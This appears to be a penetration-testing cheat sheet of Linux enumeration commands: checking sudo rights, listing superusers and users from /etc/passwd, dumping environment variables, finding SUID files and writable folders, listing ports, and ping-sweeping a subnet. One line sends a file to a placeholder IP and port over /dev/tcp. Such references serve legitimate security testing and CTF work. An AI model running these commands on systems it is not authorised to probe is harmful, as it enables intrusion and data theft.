Linux
Enumeration
Commands
# SUDO CONFIG
sudo -l
# CURRENT USER INFO
id || (whoami && groups) 2>/dev/null
## Current user PGP keys
gpg --list-keys 2>/dev/null
# ALL USERS
## List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
## List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
## Logged in users
w
# SYSTEM INFO
## Running processes
ps aux
## Environment variables
(env || set) 2>/dev/null
## Network topology
cat /proc/net/fib_trie
## Domain name
hostname
## OS info
/etc/os-release
# FILES AND DIRECTORIES
## Sort files by date
ls -ltrh
## Writeable folders
find / -writable -type d 2>/dev/null
## Find SUID files
find / -perm -4000 2>/dev/null
# NETWORK
## List open ports
(netstat -punta || ss --ntpu)
# MISC
## Human readable JSON data (jq)
cat <json_file> | jq
## Download file from shell session
cat <file> /dev/tcp/<ip>/<port>
## PING SWEEP - If one suspects that there are other machines on the network --- Assuming that current machine is in a VM or a container
for i in {1..254}; do (ping -c 1 10.10.10.${i} | grep "bytes from" | grep -v "Unreachable" &); done;Directories / Files
Process File (PID) Brute-force
Directory / File Copy (symlink)
Clipboard
Interesting Groups
disk
debugfs
Bash File Command Execution
Example
Services
Raw Image File Conversion to Actual Image
Gimp
Last updated